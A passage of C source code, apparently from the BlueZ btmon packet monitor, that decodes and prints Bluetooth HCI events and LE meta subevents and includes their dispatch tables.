print_handle(evt->handle);
}
static void num_completed_data_blocks_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_num_completed_data_blocks *evt = data;
print_field("Total num data blocks: %d",
le16_to_cpu(evt->total_num_blocks));
print_field("Num handles: %d", evt->num_handles);
print_handle(evt->handle);
print_field("Num packets: %d", evt->num_packets);
print_field("Num blocks: %d", evt->num_blocks);
if (size > sizeof(*evt))
packet_hexdump(data + sizeof(*evt), size - sizeof(*evt));
}
static void short_range_mode_change_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_short_range_mode_change *evt = data;
print_status(evt->status);
print_phy_handle(evt->phy_handle);
print_enable("Short range mode", evt->mode);
}
static void amp_status_change_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_amp_status_change *evt = data;
print_status(evt->status);
print_amp_status(evt->amp_status);
}
static void triggered_clock_capture_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_triggered_clock_capture *evt = data;
print_handle(evt->handle);
print_clock_type(evt->type);
print_clock(evt->clock);
print_clock_offset(evt->clock_offset);
}
static void sync_train_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_sync_train_complete *evt = data;
print_status(evt->status);
}
static void sync_train_received_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_sync_train_received *evt = data;
print_status(evt->status);
print_bdaddr(evt->bdaddr);
print_field("Offset: 0x%8.8x", le32_to_cpu(evt->offset));
print_channel_map(evt->map);
print_lt_addr(evt->lt_addr);
print_field("Next broadcast instant: 0x%4.4x",
le16_to_cpu(evt->instant));
print_interval(evt->interval);
print_field("Service Data: 0x%2.2x", evt->service_data);
}
static void slave_broadcast_receive_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_slave_broadcast_receive *evt = data;
print_bdaddr(evt->bdaddr);
print_lt_addr(evt->lt_addr);
print_field("Clock: 0x%8.8x", le32_to_cpu(evt->clock));
print_field("Offset: 0x%8.8x", le32_to_cpu(evt->offset));
print_field("Receive status: 0x%2.2x", evt->status);
print_broadcast_fragment(evt->fragment);
print_field("Length: %d", evt->length);
if (size - 18 != evt->length)
print_text(COLOR_ERROR, "invalid data size (%d != %d)",
size - 18, evt->length);
if (evt->lt_addr == 0x01 && evt->length == 17)
print_3d_broadcast(data + 18, size - 18);
else
packet_hexdump(data + 18, size - 18);
}
static void slave_broadcast_timeout_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_slave_broadcast_timeout *evt = data;
print_bdaddr(evt->bdaddr);
print_lt_addr(evt->lt_addr);
}
static void truncated_page_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_truncated_page_complete *evt = data;
print_status(evt->status);
print_bdaddr(evt->bdaddr);
}
static void slave_page_response_timeout_evt(const void *data, uint8_t size)
{
}
static void slave_broadcast_channel_map_change_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_slave_broadcast_channel_map_change *evt = data;
print_channel_map(evt->map);
}
static void inquiry_response_notify_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_inquiry_response_notify *evt = data;
print_iac(evt->lap);
print_rssi(evt->rssi);
}
static void auth_payload_timeout_expired_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_auth_payload_timeout_expired *evt = data;
print_handle(evt->handle);
}
static void le_conn_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_conn_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_role(evt->role);
print_peer_addr_type("Peer address type", evt->peer_addr_type);
print_addr("Peer address", evt->peer_addr, evt->peer_addr_type);
print_slot_125("Connection interval", evt->interval);
print_conn_latency("Connection latency", evt->latency);
print_field("Supervision timeout: %d msec (0x%4.4x)",
le16_to_cpu(evt->supv_timeout) * 10,
le16_to_cpu(evt->supv_timeout));
print_field("Master clock accuracy: 0x%2.2x", evt->clock_accuracy);
if (evt->status == 0x00)
assign_handle(le16_to_cpu(evt->handle), 0x01);
}
static void le_adv_report_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_adv_report *evt = data;
uint8_t evt_len;
int8_t *rssi;
print_num_reports(evt->num_reports);
report:
print_adv_event_type("Event type", evt->event_type);
print_peer_addr_type("Address type", evt->addr_type);
print_addr("Address", evt->addr, evt->addr_type);
print_field("Data length: %d", evt->data_len);
print_eir(evt->data, evt->data_len, true);
rssi = (int8_t *) (evt->data + evt->data_len);
print_rssi(*rssi);
evt_len = sizeof(*evt) + evt->data_len + 1;
if (size > evt_len) {
data += evt_len - 1;
size -= evt_len - 1;
evt = data;
goto report;
}
}
static void le_conn_update_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_conn_update_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_slot_125("Connection interval", evt->interval);
print_conn_latency("Connection latency", evt->latency);
print_field("Supervision timeout: %d msec (0x%4.4x)",
le16_to_cpu(evt->supv_timeout) * 10,
le16_to_cpu(evt->supv_timeout));
}
static void le_remote_features_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_remote_features_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_features(0, evt->features, 0x01);
}
static void le_long_term_key_request_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_long_term_key_request *evt = data;
print_handle(evt->handle);
print_random_number(evt->rand);
print_encrypted_diversifier(evt->ediv);
}
static void le_conn_param_request_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_conn_param_request *evt = data;
print_handle(evt->handle);
print_slot_125("Min connection interval", evt->min_interval);
print_slot_125("Max connection interval", evt->max_interval);
print_conn_latency("Connection latency", evt->latency);
print_field("Supervision timeout: %d msec (0x%4.4x)",
le16_to_cpu(evt->supv_timeout) * 10,
le16_to_cpu(evt->supv_timeout));
}
static void le_data_length_change_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_data_length_change *evt = data;
print_handle(evt->handle);
print_field("Max TX octets: %d", le16_to_cpu(evt->max_tx_len));
print_field("Max TX time: %d", le16_to_cpu(evt->max_tx_time));
print_field("Max RX octets: %d", le16_to_cpu(evt->max_rx_len));
print_field("Max RX time: %d", le16_to_cpu(evt->max_rx_time));
}
static void le_read_local_pk256_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_read_local_pk256_complete *evt = data;
print_status(evt->status);
print_pk256("Local P-256 public key", evt->local_pk256);
}
static void le_generate_dhkey_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_generate_dhkey_complete *evt = data;
print_status(evt->status);
print_dhkey(evt->dhkey);
}
static void le_enhanced_conn_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_enhanced_conn_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_role(evt->role);
print_peer_addr_type("Peer address type", evt->peer_addr_type);
print_addr("Peer address", evt->peer_addr, evt->peer_addr_type);
print_addr("Local resolvable private address", evt->local_rpa, 0x01);
print_addr("Peer resolvable private address", evt->peer_rpa, 0x01);
print_slot_125("Connection interval", evt->interval);
print_conn_latency("Connection latency", evt->latency);
print_field("Supervision timeout: %d msec (0x%4.4x)",
le16_to_cpu(evt->supv_timeout) * 10,
le16_to_cpu(evt->supv_timeout));
print_field("Master clock accuracy: 0x%2.2x", evt->clock_accuracy);
if (evt->status == 0x00)
assign_handle(le16_to_cpu(evt->handle), 0x01);
}
static void le_direct_adv_report_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_direct_adv_report *evt = data;
print_num_reports(evt->num_reports);
print_adv_event_type("Event type", evt->event_type);
print_peer_addr_type("Address type", evt->addr_type);
print_addr("Address", evt->addr, evt->addr_type);
print_addr_type("Direct address type", evt->direct_addr_type);
print_addr("Direct address", evt->direct_addr, evt->direct_addr_type);
print_rssi(evt->rssi);
if (size > sizeof(*evt))
packet_hexdump(data + sizeof(*evt), size - sizeof(*evt));
}
static void le_phy_update_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_phy_update_complete *evt = data;
print_status(evt->status);
print_handle(evt->handle);
print_le_phy("TX PHY", evt->tx_phy);
print_le_phy("RX PHY", evt->rx_phy);
}
static const struct bitfield_data ext_adv_report_evt_type[] = {
{ 0, "Connectable" },
{ 1, "Scannable" },
{ 2, "Directed" },
{ 3, "Scan response" },
{ 4, "Use legacy advertising PDUs" },
{ }
};
static void print_ext_adv_report_evt_type(const char *indent, uint16_t flags)
{
uint16_t mask = flags;
uint16_t props = flags;
uint8_t data_status;
const char *str;
const char *color_on;
int i;
print_field("%sEvent type: 0x%4.4x", indent, flags);
props &= 0x1f;
print_field("%s Props: 0x%4.4x", indent, props);
for (i = 0; ext_adv_report_evt_type[i].str; i++) {
if (flags & (1 << ext_adv_report_evt_type[i].bit)) {
print_field("%s %s", indent,
ext_adv_report_evt_type[i].str);
mask &= ~(1 << ext_adv_report_evt_type[i].bit);
}
}
data_status = (flags >> 5) & 3;
mask &= ~(data_status << 5);
switch (data_status) {
case 0x00:
str = "Complete";
color_on = COLOR_GREEN;
break;
case 0x01:
str = "Incomplete, more data to come";
color_on = COLOR_YELLOW;
break;
case 0x02:
str = "Incomplete, data truncated, no more to come";
color_on = COLOR_RED;
break;
default:
str = "Reserved";
color_on = COLOR_RED;
break;
}
print_field("%s Data status: %s%s%s", indent, color_on, str, COLOR_OFF);
if (mask)
print_text(COLOR_UNKNOWN_ADV_FLAG,
"%s Reserved (0x%4.4x)", indent, mask);
}
static void print_legacy_adv_report_pdu(uint16_t flags)
{
const char *str;
if (!(flags & (1 << 4)))
return;
switch (flags) {
case 0x10:
str = "ADV_NONCONN_IND";
break;
case 0x12:
str = "ADV_SCAN_IND";
break;
case 0x13:
str = "ADV_IND";
break;
case 0x15:
str = "ADV_DIRECT_IND";
break;
case 0x1a:
str = "SCAN_RSP to an ADV_IND";
break;
case 0x1b:
str = "SCAN_RSP to an ADV_SCAN_IND";
break;
default:
str = "Reserved";
break;
}
print_field(" Legacy PDU Type: %s (0x%4.4x)", str, flags);
}
static void le_ext_adv_report_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_ext_adv_report *evt = data;
const struct bt_hci_le_ext_adv_report *report;
const char *str;
int i;
print_num_reports(evt->num_reports);
data += sizeof(evt->num_reports);
for (i = 0; i < evt->num_reports; ++i) {
report = data;
print_field("Entry %d", i);
print_ext_adv_report_evt_type(" ", report->event_type);
print_legacy_adv_report_pdu(report->event_type);
print_peer_addr_type(" Address type", report->addr_type);
print_addr(" Address", report->addr, report->addr_type);
switch (report->primary_phy) {
case 0x01:
str = "LE 1M";
break;
case 0x03:
str = "LE Coded";
break;
default:
str = "Reserved";
break;
}
print_field(" Primary PHY: %s", str);
switch (report->secondary_phy) {
case 0x00:
str = "No packets";
break;
case 0x01:
str = "LE 1M";
break;
case 0x02:
str = "LE 2M";
break;
case 0x03:
str = "LE Coded";
break;
default:
str = "Reserved";
break;
}
print_field(" Secondary PHY: %s", str);
if (report->sid == 0xff)
print_field(" SID: no ADI field (0x%2.2x)",
report->sid);
else if (report->sid > 0x0f)
print_field(" SID: Reserved (0x%2.2x)", report->sid);
else
print_field(" SID: 0x%2.2x", report->sid);
print_field(" TX power: %d dBm", report->tx_power);
if (report->rssi == 127)
print_field(" RSSI: not available (0x%2.2x)",
(uint8_t) report->rssi);
else if (report->rssi >= -127 && report->rssi <= 20)
print_field(" RSSI: %d dBm (0x%2.2x)",
report->rssi, (uint8_t) report->rssi);
else
print_field(" RSSI: reserved (0x%2.2x)",
(uint8_t) report->rssi);
print_slot_125(" Periodic advertising interval",
report->interval);
print_peer_addr_type(" Direct address type",
report->direct_addr_type);
print_addr(" Direct address", report->direct_addr,
report->direct_addr_type);
print_field(" Data length: 0x%2.2x", report->data_len);
data += sizeof(struct bt_hci_le_ext_adv_report);
packet_hexdump(data, report->data_len);
data += report->data_len;
}
}
static void le_per_adv_sync(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_per_sync_established *evt = data;
print_status(evt->status);
print_field("Sync handle: %d", evt->handle);
if (evt->sid > 0x0f)
print_field("Advertising SID: Reserved (0x%2.2x)", evt->sid);
else
print_field("Advertising SID: 0x%2.2x", evt->sid);
print_peer_addr_type("Advertiser address type", evt->addr_type);
print_addr("Advertiser address", evt->addr, evt->addr_type);
print_le_phy("Advertiser PHY", evt->phy);
print_slot_125("Periodic advertising interval", evt->interval);
print_field("Advertiser clock accuracy: 0x%2.2x", evt->clock_accuracy);
}
static void le_per_adv_report_evt(const void *data, uint8_t size)
{
const struct bt_hci_le_per_adv_report *evt = data;
const char *color_on;
const char *str;
print_field("Sync handle: %d", evt->handle);
print_power_level(evt->tx_power, NULL);
if (evt->rssi == 127)
print_field("RSSI: not available (0x%2.2x)",
(uint8_t) evt->rssi);
else if (evt->rssi >= -127 && evt->rssi <= 20)
print_field("RSSI: %d dBm (0x%2.2x)",
evt->rssi, (uint8_t) evt->rssi);
else
print_field("RSSI: reserved (0x%2.2x)",
(uint8_t) evt->rssi);
switch (evt->cte_type) {
case 0x00:
str = "AoA Constant Tone Extension";
break;
case 0x01:
str = "AoA Constant Tone Extension with 1us slots";
break;
case 0x02:
str = "AoD Constant Tone Extension with 2us slots";
break;
case 0xff:
str = "No Constant Tone Extension";
break;
default:
str = "Reserved";
color_on = COLOR_RED;
break;
}
switch (evt->data_status) {
case 0x00:
str = "Complete";
color_on = COLOR_GREEN;
break;
case 0x01:
str = "Incomplete, more data to come";
color_on = COLOR_YELLOW;
break;
case 0x02:
str = "Incomplete, data truncated, no more to come";
color_on = COLOR_RED;
break;
default:
str = "Reserved";
color_on = COLOR_RED;
break;
}
print_field("Data status: %s%s%s", color_on, str, COLOR_OFF);
print_field("Data length: 0x%2.2x", evt->data_len);
packet_hexdump(evt->data, evt->data_len);
}
static void le_per_adv_sync_lost(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_per_sync_lost *evt = data;
print_field("Sync handle: %d", evt->handle);
}
static void le_adv_set_term_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_adv_set_term *evt = data;
print_status(evt->status);
print_field("Handle: %d", evt->handle);
print_field("Connection handle: %d", evt->conn_handle);
print_field("Number of completed extended advertising events: %d",
evt->num_evts);
}
static void le_scan_req_received_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_scan_req_received *evt = data;
print_field("Handle: %d", evt->handle);
print_peer_addr_type("Scanner address type", evt->scanner_addr_type);
print_addr("Scanner address", evt->scanner_addr,
evt->scanner_addr_type);
}
static void le_chan_select_alg_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_chan_select_alg *evt = data;
const char *str;
print_handle(evt->handle);
switch (evt->algorithm) {
case 0x00:
str = "#1";
break;
case 0x01:
str = "#2";
break;
default:
str = "Reserved";
break;
}
print_field("Algorithm: %s (0x%2.2x)", str, evt->algorithm);
}
static void le_cte_request_failed_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_cte_request_failed *evt = data;
print_status(evt->status);
print_field("Connection handle: %d", evt->handle);
}
static void le_per_adv_sync_trans_rec_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_per_adv_sync_trans_rec *evt = data;
print_status(evt->status);
print_field("Handle: %d", evt->handle);
print_field("Connection handle: %d", evt->handle);
print_field("Service data: 0x%4.4x", evt->service_data);
print_field("Sync handle: %d", evt->sync_handle);
print_field("SID: 0x%2.2x", evt->sid);
print_peer_addr_type("Address type:", evt->addr_type);
print_addr("Address:", evt->addr, evt->addr_type);
print_le_phy("PHY:", evt->phy);
print_field("Periodic advertising Interval: %.3f",
1.25 * evt->interval);
print_clock_accuracy(evt->clock_accuracy);
}
static void le_cis_established_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_cis_established *evt = data;
print_status(evt->status);
print_field("Connection Handle: %d", le16_to_cpu(evt->conn_handle));
print_usec_interval("CIG Synchronization Delay", evt->cig_sync_delay);
print_usec_interval("CIS Synchronization Delay", evt->cis_sync_delay);
print_usec_interval("Master to Slave Latency", evt->m_latency);
print_usec_interval("Slave to Master Latency", evt->s_latency);
print_le_phy("Master to Slave PHY", evt->m_phy);
print_le_phy("Slave to Master PHY", evt->s_phy);
print_field("Number of Subevents: %u", evt->nse);
print_field("Master to Slave Burst Number: %u", evt->m_bn);
print_field("Slave to Master Burst Number: %u", evt->s_bn);
print_field("Master to Slave Flush Timeout: %u", evt->m_ft);
print_field("Slave to Master Flush Timeout: %u", evt->s_ft);
print_field("Master to Slave MTU: %u", le16_to_cpu(evt->m_mtu));
print_field("Slave to Master MTU: %u", le16_to_cpu(evt->s_mtu));
print_field("ISO Interval: %u", le16_to_cpu(evt->interval));
}
static void le_req_cis_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_cis_req *evt = data;
print_field("ACL Handle: %d", le16_to_cpu(evt->acl_handle));
print_field("CIS Handle: %d", le16_to_cpu(evt->cis_handle));
print_field("CIG ID: 0x%2.2x", evt->cig_id);
print_field("CIS ID: 0x%2.2x", evt->cis_id);
}
static void print_bis_handle(const void *data, int i)
{
const uint16_t *handle = data;
print_field("Connection Handle: %d", le16_to_cpu(*handle));
}
static void le_big_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_big_complete *evt = data;
print_status(evt->status);
print_field("Handle: 0x%2.2x", evt->handle);
print_usec_interval("BIG Synchronization Delay", evt->sync_delay);
print_usec_interval("Transport Latency", evt->latency);
print_le_phy("PHY", evt->phy);
print_field("NSE: %u", evt->nse);
print_field("BN: %u", evt->bn);
print_field("PTO: %u", evt->bn);
print_field("IRC: %u", evt->irc);
print_field("Maximum PDU: %u", evt->max_pdu);
print_slot_125("ISO Interval", evt->interval);
print_list(evt->bis_handle, size, evt->num_bis,
sizeof(*evt->bis_handle), print_bis_handle);
}
static void le_big_terminate_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_big_terminate *evt = data;
print_field("BIG Handle: 0x%2.2x", evt->handle);
print_reason(evt->reason);
}
static void le_big_sync_estabilished_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_big_sync_estabilished *evt = data;
print_status(evt->status);
print_field("BIG Handle: 0x%2.2x", evt->handle);
print_usec_interval("Transport Latency", evt->latency);
print_field("NSE: %u", evt->nse);
print_field("BN: %u", evt->bn);
print_field("PTO: %u", evt->bn);
print_field("IRC: %u", evt->irc);
print_field("Maximum PDU: %u", evt->max_pdu);
print_slot_125("ISO Interval", evt->interval);
print_list(evt->bis, size, evt->num_bis, sizeof(*evt->bis),
print_bis_handle);
}
static void le_big_sync_lost_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_big_sync_lost *evt = data;
print_field("BIG ID: 0x%2.2x", evt->big_id);
print_reason(evt->reason);
}
static void le_req_sca_complete_evt(const void *data, uint8_t size)
{
const struct bt_hci_evt_le_req_peer_sca_complete *evt = data;
print_status(evt->status);
print_field("Connection Handle: %d", le16_to_cpu(evt->handle));
print_sca(evt->sca);
}
struct subevent_data {
uint8_t subevent;
const char *str;
void (*func) (const void *data, uint8_t size);
uint8_t size;
bool fixed;
};
static void print_subevent(const struct subevent_data *subevent_data,
const void *data, uint8_t size)
{
const char *subevent_color;
if (subevent_data->func)
subevent_color = COLOR_HCI_EVENT;
else
subevent_color = COLOR_HCI_EVENT_UNKNOWN;
print_indent(6, subevent_color, "", subevent_data->str, COLOR_OFF,
" (0x%2.2x)", subevent_data->subevent);
if (!subevent_data->func) {
packet_hexdump(data, size);
return;
}
if (subevent_data->fixed) {
if (size != subevent_data->size) {
print_text(COLOR_ERROR, "invalid packet size");
packet_hexdump(data, size);
return;
}
} else {
if (size < subevent_data->size) {
print_text(COLOR_ERROR, "too short packet");
packet_hexdump(data, size);
return;
}
}
subevent_data->func(data, size);
}
static const struct subevent_data le_meta_event_table[] = {
{ 0x01, "LE Connection Complete",
le_conn_complete_evt, 18, true },
{ 0x02, "LE Advertising Report",
le_adv_report_evt, 1, false },
{ 0x03, "LE Connection Update Complete",
le_conn_update_complete_evt, 9, true },
{ 0x04, "LE Read Remote Used Features",
le_remote_features_complete_evt, 11, true },
{ 0x05, "LE Long Term Key Request",
le_long_term_key_request_evt, 12, true },
{ 0x06, "LE Remote Connection Parameter Request",
le_conn_param_request_evt, 10, true },
{ 0x07, "LE Data Length Change",
le_data_length_change_evt, 10, true },
{ 0x08, "LE Read Local P-256 Public Key Complete",
le_read_local_pk256_complete_evt, 65, true },
{ 0x09, "LE Generate DHKey Complete",
le_generate_dhkey_complete_evt, 33, true },
{ 0x0a, "LE Enhanced Connection Complete",
le_enhanced_conn_complete_evt, 30, true },
{ 0x0b, "LE Direct Advertising Report",
le_direct_adv_report_evt, 1, false },
{ 0x0c, "LE PHY Update Complete",
le_phy_update_complete_evt, 5, true},
{ 0x0d, "LE Extended Advertising Report",
le_ext_adv_report_evt, 1, false},
{ 0x0e, "LE Periodic Advertising Sync Established",
le_per_adv_sync, 15, true },
{ 0x0f, "LE Periodic Advertising Report",
le_per_adv_report_evt, 7, false},
{ 0x10, "LE Periodic Advertising Sync Lost",
le_per_adv_sync_lost, 2, true},
{ 0x11, "LE Scan Timeout" },
{ 0x12, "LE Advertising Set Terminated",
le_adv_set_term_evt, 5, true},
{ 0x13, "LE Scan Request Received",
le_scan_req_received_evt, 8, true},
{ 0x14, "LE Channel Selection Algorithm",
le_chan_select_alg_evt, 3, true},
{ 0x17, "LE CTE Request Failed",
le_cte_request_failed_evt, 3, true},
{ 0x18, "LE Periodic Advertising Sync Transfer Received",
le_per_adv_sync_trans_rec_evt, 19,
true},
{ BT_HCI_EVT_LE_CIS_ESTABLISHED,
"LE Connected Isochronous Stream Established",
le_cis_established_evt,
sizeof(struct bt_hci_evt_le_cis_established),
true },
{ BT_HCI_EVT_LE_CIS_REQ, "LE Connected Isochronous Stream Request",
le_req_cis_evt,
sizeof(struct bt_hci_evt_le_cis_req),
true },
{ BT_HCI_EVT_LE_BIG_COMPLETE,
"LE Broadcast Isochronous Group Complete",
le_big_complete_evt,
sizeof(struct bt_hci_evt_le_big_complete) },
{ BT_HCI_EVT_LE_BIG_TERMINATE,
"LE Broadcast Isochronous Group Terminate",
le_big_terminate_evt,
sizeof(struct bt_hci_evt_le_big_terminate) },
{ BT_HCI_EVT_LE_BIG_SYNC_ESTABILISHED,
"LE Broadcast Isochronous Group Sync "
"Estabilished", le_big_sync_estabilished_evt,
sizeof(struct bt_hci_evt_le_big_sync_lost) },
{ BT_HCI_EVT_LE_BIG_SYNC_LOST,
"LE Broadcast Isochronous Group Sync Lost",
le_big_sync_lost_evt,
sizeof(struct bt_hci_evt_le_big_sync_lost) },
{ BT_HCI_EVT_LE_REQ_PEER_SCA_COMPLETE,
"LE Request Peer SCA Complete",
le_req_sca_complete_evt,
sizeof(
struct bt_hci_evt_le_req_peer_sca_complete)},
{ }
};
static void le_meta_event_evt(const void *data, uint8_t size)
{
uint8_t subevent = *((const uint8_t *) data);
struct subevent_data unknown;
const struct subevent_data *subevent_data = &unknown;
int i;
unknown.subevent = subevent;
unknown.str = "Unknown";
unknown.func = NULL;
unknown.size = 0;
unknown.fixed = true;
for (i = 0; le_meta_event_table[i].str; i++) {
if (le_meta_event_table[i].subevent == subevent) {
subevent_data = &le_meta_event_table[i];
break;
}
}
print_subevent(subevent_data, data + 1, size - 1);
}
static void vendor_evt(const void *data, uint8_t size)
{
uint8_t subevent = *((const uint8_t *) data);
struct subevent_data vendor_data;
char vendor_str[150];
const struct vendor_evt *vnd = current_vendor_evt(subevent);
if (vnd) {
const char *str = current_vendor_str();
if (str) {
snprintf(vendor_str, sizeof(vendor_str),
"%s %s", str, vnd->str);
vendor_data.str = vendor_str;
} else
vendor_data.str = vnd->str;
vendor_data.subevent = subevent;
vendor_data.func = vnd->evt_func;
vendor_data.size = vnd->evt_size;
vendor_data.fixed = vnd->evt_fixed;
print_subevent(&vendor_data, data + 1, size - 1);
} else {
uint16_t manufacturer;
if (index_current < MAX_INDEX)
manufacturer = index_list[index_current].manufacturer;
else
manufacturer = fallback_manufacturer;
vendor_event(manufacturer, data, size);
}
}
struct event_data {
uint8_t event;
const char *str;
void (*func) (const void *data, uint8_t size);
uint8_t size;
bool fixed;
};
static const struct event_data event_table[] = {
{ 0x01, "Inquiry Complete",
inquiry_complete_evt, 1, true },
{ 0x02, "Inquiry Result",
inquiry_result_evt, 1, false },
{ 0x03, "Connect Complete",
conn_complete_evt, 11, true },
{ 0x04, "Connect Request",
conn_request_evt, 10, true },
{ 0x05, "Disconnect Complete",
disconnect_complete_evt, 4, true },
{ 0x06, "Auth Complete",
auth_complete_evt, 3, true },
{ 0x07, "Remote Name Req Complete",
remote_name_request_complete_evt, 255, true },
{ 0x08, "Encryption Change",
encrypt_change_evt, 4, true },
{ 0x09, "Change Connection Link Key Complete",
change_conn_link_key_complete_evt, 3, true },
{ 0x0a, "Master Link Key Complete",
master_link_key_complete_evt, 4, true },
{ 0x0b, "Read Remote Supported Features",
remote_features_complete_evt, 11, true },
{ 0x0c, "Read Remote Version Complete",
remote_version_complete_evt, 8, true },
{ 0x0d, "QoS Setup Complete",
qos_setup_complete_evt, 21, true },
{ 0x0e, "Command Complete",
cmd_complete_evt, 3, false },
{ 0x0f, "Command Status",
cmd_status_evt, 4, true },
{ 0x10, "Hardware Error",
hardware_error_evt, 1, true },
{ 0x11, "Flush Occurred",
flush_occurred_evt, 2, true },
{ 0x12, "Role Change",
role_change_evt, 8, true },
{ 0x13, "Number of Completed Packets",
num_completed_packets_evt, 1, false },
{ 0x14, "Mode Change",
mode_change_evt, 6, true },
{ 0x15, "Return Link Keys",
return_link_keys_evt, 1, false },
{ 0x16, "PIN Code Request",
pin_code_request_evt, 6, true },
{ 0x17, "Link Key Request",
link_key_request_evt, 6, true },
{ 0x18, "Link Key Notification",
link_key_notify_evt, 23, true },
{ 0x19, "Loopback Command",
loopback_command_evt, 3, false },
{ 0x1a, "Data Buffer Overflow",
data_buffer_overflow_evt, 1, true },
{ 0x1b, "Max Slots Change",
max_slots_change_evt, 3, true },
{ 0x1c, "Read Clock Offset Complete",
clock_offset_complete_evt, 5, true },
{ 0x1d, "Connection Packet Type Changed",
conn_pkt_type_changed_evt, 5, true },
{ 0x1e, "QoS Violation",
qos_violation_evt, 2, true },
{ 0x1f, "Page Scan Mode Change",
pscan_mode_change_evt, 7, true },
{ 0x20, "Page Scan Repetition Mode Change",
pscan_rep_mode_change_evt, 7, true },
{ 0x21, "Flow Specification Complete",
flow_spec_complete_evt, 22, true },
{ 0x22, "Inquiry Result with RSSI",
inquiry_result_with_rssi_evt, 1, false },
{ 0x23, "Read Remote Extended Features",
remote_ext_features_complete_evt, 13, true },
{ 0x2c, "Synchronous Connect Complete",
sync_conn_complete_evt, 17, true },
{ 0x2d, "Synchronous Connect Changed",
sync_conn_changed_evt, 9, true },
{ 0x2e, "Sniff Subrating",
sniff_subrating_evt, 11, true },
{ 0x2f, "Extended Inquiry Result",
ext_inquiry_result_evt, 1, false },
{ 0x30, "Encryption Key Refresh Complete",
encrypt_key_refresh_complete_evt, 3, true },
{ 0x31, "IO Capability Request",
io_capability_request_evt, 6, true },
{ 0x32, "IO Capability Response",
io_capability_response_evt, 9, true },
{ 0x33, "User Confirmation Request",
user_confirm_request_evt, 10, true },
{ 0x34, "User Passkey Request",
user_passkey_request_evt, 6, true },
{ 0x35, "Remote OOB Data Request",
remote_oob_data_request_evt, 6, true },
{ 0x36, "Simple Pairing Complete",
simple_pairing_complete_evt, 7, true },
{ 0x38, "Link Supervision Timeout Changed",
link_supv_timeout_changed_evt, 4, true },
{ 0x39, "Enhanced Flush Complete",
enhanced_flush_complete_evt, 2, true },
{ 0x3b, "User Passkey Notification",
user_passkey_notify_evt, 10, true },
{ 0x3c, "Keypress Notification",
keypress_notify_evt, 7, true },
{ 0x3d, "Remote Host Supported Features",
remote_host_features_notify_evt, 14, true },
{ 0x3e, "LE Meta Event",
le_meta_event_evt, 1, false },
{ 0x40, "Physical Link Complete",
phy_link_complete_evt, 2, true },
{ 0x41, "Channel Selected",
channel_selected_evt, 1, true },
{ 0x42, "Disconnect Physical Link Complete",
disconn_phy_link_complete_evt, 3, true },
{ 0x43, "Physical Link Loss Early Warning",
phy_link_loss_early_warning_evt, 2, true },
{ 0x44, "Physical Link Recovery",
phy_link_recovery_evt, 1, true },
{ 0x45, "Logical Link Complete",
logic_link_complete_evt, 5, true },
{ 0x46, "Disconnect Logical Link Complete",
disconn_logic_link_complete_evt, 4, true },
{ 0x47, "Flow Specification Modify Complete",
flow_spec_modify_complete_evt, 3, true },
{ 0x48, "Number of Completed Data Blocks",
num_completed_data_blocks_evt, 3, false },
{ 0x49, "AMP Start Test" },
{ 0x4a, "AMP Test End" },
{ 0x4b, "AMP Receiver Report" },
{ 0x4c, "Short Range Mode Change Complete",
short_range_mode_change_evt, 3, true },
{ 0x4d, "AMP Status Change",
amp_status_change_evt, 2, true },
{ 0x4e, "Triggered Clock Capture",
triggered_clock_capture_evt, 9, true },
{ 0x4f, "Synchronization Train Complete",
sync_train_complete_evt, 1, true },
{ 0x50, "Synchronization Train Received",
sync_train_received_evt, 29, true },
{ 0x51, "Connectionless Slave Broadcast Receive",
slave_broadcast_receive_evt, 18, false },
{ 0x52, "Connectionless Slave Broadcast Timeout",
slave_broadcast_timeout_evt, 7, true },
{ 0x53, "Truncated Page Complete",
truncated_page_complete_evt, 7, true },
{ 0x54, "Slave Page Response Timeout",
slave_page_response_timeout_evt, 0, true },
{ 0x55, "Connectionless Slave Broadcast Channel Map Change",
slave_broadcast_channel_map_change_evt, 10, true },
{ 0x56, "Inquiry Response Notification",
inquiry_response_notify_evt, 4, true },
{ 0x57, "Authenticated Payload Timeout Expired",
auth_payload_timeout_expired_evt, 2, true },
{ 0x58, "SAM Status Change" },
{ 0xfe, "Testing" },
